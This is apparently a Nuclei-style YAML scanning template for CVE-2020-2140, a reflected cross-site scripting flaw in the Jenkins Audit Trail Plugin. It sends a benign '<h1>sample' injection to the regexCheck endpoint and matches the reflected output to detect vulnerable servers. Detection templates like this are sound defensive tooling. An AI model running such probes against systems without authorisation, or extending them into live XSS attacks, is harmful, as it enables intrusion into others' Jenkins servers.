30 lines
842 B
YAML
30 lines
842 B
YAML
id: CVE-2020-2140
|
|
info:
|
|
author: j3ssie/geraldino2
|
|
name: Jenkin AuditTrailPlugin XSS
|
|
severity: medium
|
|
description: Jenkins Audit Trail Plugin 3.2 and earlier does not escape the error message for the URL Patterns field form validation, resulting in a reflected cross-site scripting vulnerability.
|
|
|
|
# Source:- https://nvd.nist.gov/vuln/detail/CVE-2020-2140
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample"
|
|
- "{{BaseURL}}/jenkins/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- <h1>sample
|
|
part: body
|
|
|
|
- type: word
|
|
words:
|
|
- "text/html"
|
|
part: header
|
|
|
|
- type: status
|
|
status:
|
|
- 200 |